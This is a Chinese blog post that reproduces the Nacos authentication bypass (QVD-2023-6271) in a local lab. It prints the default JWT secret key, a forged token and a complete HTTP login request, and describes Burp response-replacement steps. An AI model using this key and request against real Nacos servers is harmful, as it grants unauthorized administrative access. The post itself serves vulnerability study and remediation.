首页 > 其他分享 >记一次Nacos漏洞的复现 --> 身份认证绕过漏洞(QVD-2023-6271)

记一次Nacos漏洞的复现 --> 身份认证绕过漏洞(QVD-2023-6271)

时间:2023-06-26 09:24:13浏览次数:44  
标签:6271 -- JWT nacos Nacos 漏洞 密钥 key

前记

端午前两天,遇到公司某客户的站点是Nacos,随后就是网上搜一波漏洞,搜到 QVD-2023-6271,故做以下记录

漏洞复现

漏洞描述

漏洞原理为开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台造成系统受控等后果。

漏洞信息

漏洞类型:身份认证绕过
漏洞等级:高危
漏洞编号:NVDB-CNVDB-2023674205

受影响版本:
0.1.0 <= Nacos <= 2.2.0

漏洞原理

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

漏洞影响范围:
0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

漏洞的本质是因为使用了默认的key。
JWT(JSON Web Token)是一种用于在网络应用之间安全传递信息的开放标准。在使用JWT时,通常需要使用密钥对token进行签名,以确保token在传输过程中不被篡改。如果在代码中将密钥硬编码到应用程序中,将会存在JWT硬编码漏洞。
JWT硬编码漏洞是指将密钥硬编码到应用程序代码中,而不是存储在安全的密钥存储库中,攻击者可以轻松地获取该密钥并使用其签署和验证JWT。这使攻击者可以创建或修改JWT,或者验证伪造的JWT,从而导致安全漏洞。例如,应用程序使用硬编码密钥对JWT进行签名,攻击者可以轻松获取该密钥并创建有效的JWT,该JWT会被误认为是经过身份验证的用户,从而获得未经授权的访问权限。因此,为了避免JWT硬编码漏洞,应该将密钥存储在安全的密钥存储库中,并且只有授权的应用程序可以访问它。

环境搭建

漏洞版本下载
首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

 

可以选择2.2.0以下版本,比如下面这个

解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动(java8以上环境运行)

拼接路径nacos到路径:
http://192.168.111.128:8848/nacos/#/login

漏洞复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

利用该默认key可进行jwt构造,直接进入后台,构造方法:
https://jwt.io/中:输入默认key:

{
  "sub": "nacos",
  "exp": 1687791710
}

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年06月25日23:01:50,在这里面的时间戳时间是06月26号了

注意jwt.io中的secret base64 encoded,要勾选,因为在前面截图红框中有括号,Base64 String,至于为什么,下一篇文章会提到。

复制加密的jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4Nzc5MTcxMH0.Xw_1bgGVtGxJZMbPO1CCYQjDruTFHm4m7icWRcnNuww

添加Authorization值,请求包如下,自取:

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.111.128:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4Nzc5MTcxMH0.Xw_1bgGVtGxJZMbPO1CCYQjDruTFHm4m7icWRcnNuww

username=nacos&password=nacos

可以看到返回200,说明登录成功,利用这个可以绕过身份认证,进入后台。

使用Burp拦截网站请求,并拦截返回包。

将返回包进行替换并放包。

此时就成功绕过身份认证并进入后台了。

标签:6271,--,JWT,nacos,Nacos,漏洞,密钥,key
From: https://www.cnblogs.com/spmonkey/p/17504263.html

相关文章

  • Lazy 延迟初始化对象
    什么是Lazy:    在C#中,Lazy类是用来延迟初始化对象的一种机制。它允许你在第一次使用该对象之前推迟其创建过程,以提高性能和资源利用率。使用Lazy类可以在需要时才创建对象,并确保只创建一次使用示例:   ......
  • win9部署.net
    第一:安装IIS,添加添加角色和功能 第二部署项目,如果是.net6安装ASP.NETCoreRuntime6,进入 https://dotnet.microsoft.com/download/dotnet/6.0,选择ASP.NETCoreRuntime6.0.X下的HostingBundle,下载到服务器里,双击安装如果是.net5项目https://dotnet.microsoft.com/dow......
  • volatile 关键字
    原文链接:https://liamw.cn/albums/csharp-dotnet/10-understand-the-volatile-keyword要理解C#中的 volatile 关键字,就要先知道编译器背后的一个基本优化原理。比如对于下面这段代码: publicclassExample{publicintx;publicvoidDoWork(){x......
  • zabbix配置笔记
    1. 登录zabbix系统配置-模板-创建模板 输入模板名称,选择群组 ......
  • 找营销合伙人
    我们团队想找一位有云计算背景,或者从事过大数据、算力服务、软件的营销合伙人,有兴趣私聊哈^_^,我简单说说情况(一)团队目前我们团队是一个公司,做的比较杂,硬件软件都有,硬件是服务器,软件主要是LAXCUS分布式操作系统,这是我们团队研发的一套系统软件,很多领域都在用,一直处于野生放养状......
  • 运维自动化之Terraform
    前言Infrastructure-as-Code,Terraform是一个不受平台所限平台的开源工具,它允许开发人员将基础设施编写成为声明性配置文件。Terraform支持众多的云供应商,使得开发人员能够在AWS、GoogleCloud、Azure和Oracle等主流云平台中配置资源。......
  • CF1393E2 Twilight and Ancient Scroll
    显然有一个\(|S|\log|S|\)的dp做法,但是瓶颈在给字符串排序。也就是真正的瓶颈在于求lcp。AFewSuns给出了一种不需要科技的做法,orz。第一个排序的部分,令\(t_{i,j}\)代表第\(i\)个字符串去掉第\(j\)个字符后的字符串,要给所有\(t_{i,j}\)排序。注意到相同颜色段是可......
  • 算法——DFS、BFS、记忆回溯、记忆搜索
    回溯和深度优先搜索的区别回溯是一种更通用的算法。可以用于任何类型的结构,其中可以消除域的部分——无论它是否是逻辑树。深度优先搜索是与搜索树或图结构相关的特定回溯形式。它使用回溯作为其使用树的方法的一部分,但仅限于树/图结构。回溯和DFS之间的区别在于回溯处理隐......
  • [ARM 汇编]高级部分—ARM汇编编程实战—3.3.2 嵌入式开发环境搭建
    搭建一个嵌入式开发环境主要包括以下几个部分:安装交叉编译器配置集成开发环境(IDE)安装调试工具下载和烧录程序接下来,我们将详细介绍每个部分,并提供相应的实例。安装交叉编译器交叉编译器是用于将您编写的ARM汇编代码编译成可执行文件的工具。在本教程中,我们将使用GNUAR......
  • Linux多线程09-互斥锁
    为避免线程更新共享变量时出现问题,可以使用互斥量(mutex是mutualexclusion的缩写)来确保同时仅有一个线程可以访问某项共享资源。可以使用互斥量来保证对任意共享资源的原子访问。互斥量有两种状态:已锁定(locked)和未锁定(unlocked)。任何时候,至多只有一个线程可以锁定该互斥量。试......